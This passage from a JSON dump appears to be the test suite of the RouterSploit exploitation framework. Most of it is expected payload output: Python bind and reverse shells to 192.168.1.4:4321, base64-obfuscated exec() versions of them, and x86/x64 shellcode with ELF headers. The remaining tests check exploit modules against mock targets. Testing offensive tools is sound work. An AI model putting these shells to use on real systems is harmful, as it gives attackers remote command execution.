    "path": "tests/payloads/python/test_bind_udp.py",
    "content": "from routersploit.modules.payloads.python.bind_udp import Payload\n\n\n# python bind udp payload with rport=4321\nbind_udp = (\n    \"from subprocess import Popen,PIPE\\n\" +\n    \"from socket import socket, AF_INET, SOCK_DGRAM\\n\" +\n    \"s=socket(AF_INET,SOCK_DGRAM)\\n\" +\n    \"s.bind(('0.0.0.0',4321))\\n\" +\n    \"while 1:\\n\"\n    \"\\tdata,addr=s.recvfrom(1024)\\n\" +\n    \"\\tout=Popen(data,shell=True,stdout=PIPE,stderr=PIPE).communicate()\\n\" +\n    \"\\ts.sendto(''.join([out[0],out[1]]),addr)\\n\"\n)\n\n# python bind udp payload with rport=4321 encoded with python/base64\nbind_udp_encoded = (\n    \"exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_udp\n    assert payload.run() == bind_udp_encoded\n"
  },
  {
    "path": "tests/payloads/python/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.python.reverse_tcp import Payload\n\n\n# python reverse tcp payload with lhost=192.168.1.4 lport 4321\nreverse_tcp = (\n    \"import socket,subprocess,os\\n\" +\n    \"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n\" +\n    \"s.connect(('192.168.1.4',4321))\\n\" +\n    \"os.dup2(s.fileno(),0)\\n\" +\n    \"os.dup2(s.fileno(),1)\\n\" +\n    \"os.dup2(s.fileno(),2)\\n\" +\n    \"p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\"\n)\n\n# python reverse tcp payload with lhost=192.168.1.4 lport=4321 encoded with python/base64\nreverse_tcp_encoded = (\n    \"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n    assert payload.run() == reverse_tcp_encoded\n"
  },
  {
    "path": "tests/payloads/python/test_reverse_udp.py",
    "content": "from routersploit.modules.payloads.python.reverse_udp import Payload\n\n\n# python reverse udp payload with lhost=192.168.1.4 lport=4321\nreverse_udp = (\n    \"import os\\n\" +\n    \"import pty\\n\" +\n    \"import socket\\n\" +\n    \"s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n\" +\n    \"s.connect(('192.168.1.4',4321))\\n\" +\n    \"os.dup2(s.fileno(), 0)\\n\" +\n    \"os.dup2(s.fileno(), 1)\\n\" +\n    \"os.dup2(s.fileno(), 2)\\n\" +\n    \"pty.spawn('/bin/sh');\\n\" +\n    \"s.close()\\n\"\n)\n\n# python reverse udp payload with lhost=192.168.1.4 lport=4321 encoded with python/base64\nreverse_udp_encoded = (\n    \"exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_udp\n    assert payload.run() == reverse_udp_encoded\n"
  },
  {
    "path": "tests/payloads/x64/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/x64/test_bind_tcp.py",
    "content": "from routersploit.modules.payloads.x64.bind_tcp import Payload\n\n\n# bind tcp payload with rport=4321\nbind_tcp = (\n    b\"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\\x52\"\n    b\"\\xc7\\x04\\x24\\x02\\x00\\x10\\xe1\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a\\x31\"\n    b\"\\x58\\x0f\\x05\\x6a\\x32\\x58\\x0f\\x05\\x48\\x31\\xf6\\x6a\\x2b\\x58\\x0f\"\n    b\"\\x05\\x48\\x97\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\"\n    b\"\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\"\n    b\"\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n)\n\n# elf x64 bind tcp\nelf_x64_bind_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x3e\\x00\\x01\\x00\\x00\\x00\\x78\\x00\\x40\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x38\\x00\\x01\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x40\\x00\\x00\\x00\\x00\\x00\\xce\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x24\"\n    b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\\x52\"\n    b\"\\xc7\\x04\\x24\\x02\\x00\\x10\\xe1\\x48\\x89\\xe6\\x6a\\x10\\x5a\\x6a\\x31\"\n    b\"\\x58\\x0f\\x05\\x6a\\x32\\x58\\x0f\\x05\\x48\\x31\\xf6\\x6a\\x2b\\x58\\x0f\"\n    b\"\\x05\\x48\\x97\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\\x0f\\x05\\x75\"\n    b\"\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\"\n    b\"\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n    assert payload.generate_elf(bind_tcp) == elf_x64_bind_tcp\n"
  },
  {
    "path": "tests/payloads/x64/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.x64.reverse_tcp import Payload\n\n\n# reverse tcp with lhost=192.168.1.4  lport=4321\nreverse_tcp = (\n    b\"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\\x48\"\n    b\"\\xb9\\x02\\x00\\x10\\xe1\\xc0\\xa8\\x01\\x04\\x51\\x48\\x89\\xe6\\x6a\\x10\"\n    b\"\\x5a\\x6a\\x2a\\x58\\x0f\\x05\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\"\n    b\"\\x0f\\x05\\x75\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\"\n    b\"\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n)\n\n# elf x64 reverse tcp\nelf_x64_reverse_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x02\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x3e\\x00\\x01\\x00\\x00\\x00\\x78\\x00\\x40\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x38\\x00\\x01\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x40\\x00\\x00\\x00\\x00\\x00\\xc2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\"\n    b\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x6a\\x29\\x58\\x99\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x0f\\x05\\x48\\x97\\x48\"\n    b\"\\xb9\\x02\\x00\\x10\\xe1\\xc0\\xa8\\x01\\x04\\x51\\x48\\x89\\xe6\\x6a\\x10\"\n    b\"\\x5a\\x6a\\x2a\\x58\\x0f\\x05\\x6a\\x03\\x5e\\x48\\xff\\xce\\x6a\\x21\\x58\"\n    b\"\\x0f\\x05\\x75\\xf6\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\"\n    b\"\\x73\\x68\\x00\\x53\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x0f\\x05\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n    assert payload.generate_elf(reverse_tcp) == elf_x64_reverse_tcp\n"
  },
  {
    "path": "tests/payloads/x86/__init__.py",
    "content": ""
  },
  {
    "path": "tests/payloads/x86/test_bind_tcp.py",
    "content": "from routersploit.modules.payloads.x86.bind_tcp import Payload\n\n\n# bind tcp payload with rport=4321\nbind_tcp = (\n    b\"\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\"\n    b\"\\x5b\\x5e\\x52\\x68\\x02\\x00\\x10\\xe1\\x6a\\x10\\x51\\x50\\x89\\xe1\\x6a\"\n    b\"\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x43\\xb0\"\n    b\"\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\\x2f\"\n    b\"\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\"\n    b\"\\x0b\\xcd\\x80\"\n)\n\n# elf x86 reverse tcp\nelf_x86_reverse_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x04\\x08\\x34\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\xa2\\x00\\x00\\x00\\xf0\\x00\\x00\"\n    b\"\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x31\\xdb\\xf7\\xe3\\x53\\x43\"\n    b\"\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x5b\\x5e\\x52\\x68\\x02\\x00\"\n    b\"\\x10\\xe1\\x6a\\x10\\x51\\x50\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\x41\"\n    b\"\\x04\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x43\\xb0\\x66\\xcd\\x80\\x93\\x59\\x6a\"\n    b\"\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\"\n    b\"\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.rport = 4321\n\n    assert payload.generate() == bind_tcp\n"
  },
  {
    "path": "tests/payloads/x86/test_reverse_tcp.py",
    "content": "from routersploit.modules.payloads.x86.reverse_tcp import Payload\n\n\n# reverse tcp with lhost=192.168.1.4  lport=4321\nreverse_tcp = (\n    b\"\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\"\n    b\"\\x93\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x68\\xc0\\xa8\\x01\\x04\\x68\"\n    b\"\\x02\\x00\\x10\\xe1\\x89\\xe1\\xb0\\x66\\x50\\x51\\x53\\xb3\\x03\\x89\\xe1\"\n    b\"\\xcd\\x80\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\"\n    b\"\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"\n)\n\n# elf x86 reverse tcp\nelf_x86_reverse_tcp = (\n    b\"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x04\\x08\\x34\\x00\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\"\n    b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n    b\"\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\x98\\x00\\x00\\x00\\xdc\\x00\\x00\"\n    b\"\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x31\\xdb\\xf7\\xe3\\x53\\x43\"\n    b\"\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x93\\x59\\xb0\\x3f\\xcd\\x80\"\n    b\"\\x49\\x79\\xf9\\x68\\xc0\\xa8\\x01\\x04\\x68\\x02\\x00\\x10\\xe1\\x89\\xe1\"\n    b\"\\xb0\\x66\\x50\\x51\\x53\\xb3\\x03\\x89\\xe1\\xcd\\x80\\x52\\x68\\x6e\\x2f\"\n    b\"\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b\"\n    b\"\\xcd\\x80\"\n)\n\n\ndef test_payload_generation():\n    \"\"\" Test scenario - payload generation \"\"\"\n\n    payload = Payload()\n    payload.lhost = \"192.168.1.4\"\n    payload.lport = 4321\n\n    assert payload.generate() == reverse_tcp\n"
  },
  {
    "path": "tests/test_exploit_scenarios.py",
    "content": "import pytest\nfrom routersploit.core.exploit.utils import iter_modules\n\n\ndirectory = \"./routersploit/modules/exploits/\"\n\n\n@pytest.mark.parametrize(\"module\", iter_modules(directory))\ndef test_exploit_trash_response(trash_target, module):\n    exploit = module()\n    exploit.target = trash_target.host\n    exploit.port = trash_target.port\n\n    assert exploit.check() in [True, False, None]\n\n\n@pytest.mark.parametrize(\"module\", iter_modules(directory))\ndef test_exploit_empty_response(empty_target, module):\n    exploit = module()\n    exploit.target = empty_target.host\n    exploit.port = empty_target.port\n\n    assert exploit.check() in [True, False, None]\n\n\n@pytest.mark.parametrize(\"module\", iter_modules(directory))\ndef test_exploit_not_found_response(not_found_target, module):\n    exploit = module()\n    exploit.target = not_found_target.host\n    exploit.port = not_found_target.port\n\n    assert exploit.check() in [True, False, None]\n\n\n@pytest.mark.parametrize(\"module\", iter_modules(directory))\ndef test_exploit_error_response(error_target, module):\n    exploit = module()\n    exploit.target = error_target.host\n    exploit.port = error_target.port\n\n    assert exploit.check() in [True, False, None]\n\n\n@pytest.mark.parametrize(\"module\", iter_modules(directory))\ndef test_exploit_redirect_response(redirect_target, module):\n    exploit = module()\n    exploit.target = redirect_target.host\n    exploit.port = redirect_target.port\n\n    assert exploit.check() in [True, False, None]\n\n\n@pytest.mark.parametrize(\"module\", iter_modules(directory))\ndef test_exploit_timeout_response(timeout_target, module):\n    exploit = module()\n    exploit.target = timeout_target.host\n    exploit.port = timeout_target.port\n\n    assert exploit.check() in [True, False, None]\n"
  },
  {
    "path": "tests/test_module_info.py",
    "content": "import pytest\nfrom routersploit.core.exploit.utils import iter_modules\n\n\n@pytest.mark.parametrize(\"exploit\", iter_modules(\"./routersploit/modules/exploit\"))\ndef test_exploit_info(exploit):\n    info = exploit._Exploit__info__\n\n    assert isinstance(info, dict)\n\n    assert \"name\" in info\n    assert isinstance(info[\"name\"], str)\n\n    assert \"description\" in info\n    assert isinstance(info[\"description\"], str)\n\n    assert \"authors\" in info\n    assert isinstance(info[\"authors\"], tuple)\n\n    assert \"references\" in info\n    assert isinstance(info[\"references\"], tuple)\n\n    assert \"devices\" in info\n    assert isinstance(info[\"devices\"], tuple)\n\n\n@pytest.mark.parametrize(\"creds\", iter_modules(\"./routersploit/modules/creds\"))\ndef test_creds_info(creds):\n    info = creds._Exploit__info__\n\n    assert isinstance(info, dict)\n\n    assert \"name\" in info\n    assert isinstance(info[\"name\"], str)\n\n    assert \"description\" in info\n    assert isinstance(info[\"description\"], str)\n\n    assert \"authors\" in info\n    assert isinstance(info[\"authors\"], tuple)\n\n    assert \"devices\" in info\n    assert isinstance(info[\"devices\"], tuple)\n\n\n@pytest.mark.parametrize(\"scanner\", iter_modules(\"./routersploit/modules/scanners\"))\ndef test_scanner_info(scanner):\n    info = scanner._Exploit__info__\n\n    assert isinstance(info, dict)\n\n    assert \"name\" in info\n    assert isinstance(info[\"name\"], str)\n\n    assert \"description\" in info\n    assert isinstance(info[\"description\"], str)\n\n    assert \"authors\" in info\n    assert isinstance(info[\"authors\"], tuple)\n\n    assert \"devices\" in info\n    assert isinstance(info[\"devices\"], tuple)\n\n\n@pytest.mark.parametrize(\"payload\", iter_modules(\"./routersploit/modules/payloads\"))\ndef test_payload_info(payload):\n    info = payload._Payload__info__\n\n    assert isinstance(info, dict)\n\n    assert \"name\" in info\n    assert isinstance(info[\"name\"], str)\n\n    assert \"description\" in info\n    assert isinstance(info[\"description\"], str)\n\n    assert \"authors\" in info\n    assert isinstance(info[\"authors\"], tuple)\n\n\n@pytest.mark.parametrize(\"encoder\", iter_modules(\"./routersploit/modules/encoders\"))\ndef test_encoder_info(encoder):\n    info = encoder._Encoder__info__\n\n    assert isinstance(info, dict)\n\n    assert \"name\" in info\n    assert isinstance(info[\"name\"], str)\n\n    assert \"description\" in info\n    assert isinstance(info[\"description\"], str)\n\n    assert \"authors\" in info\n    assert isinstance(info[\"authors\"], tuple)\n"
  }
]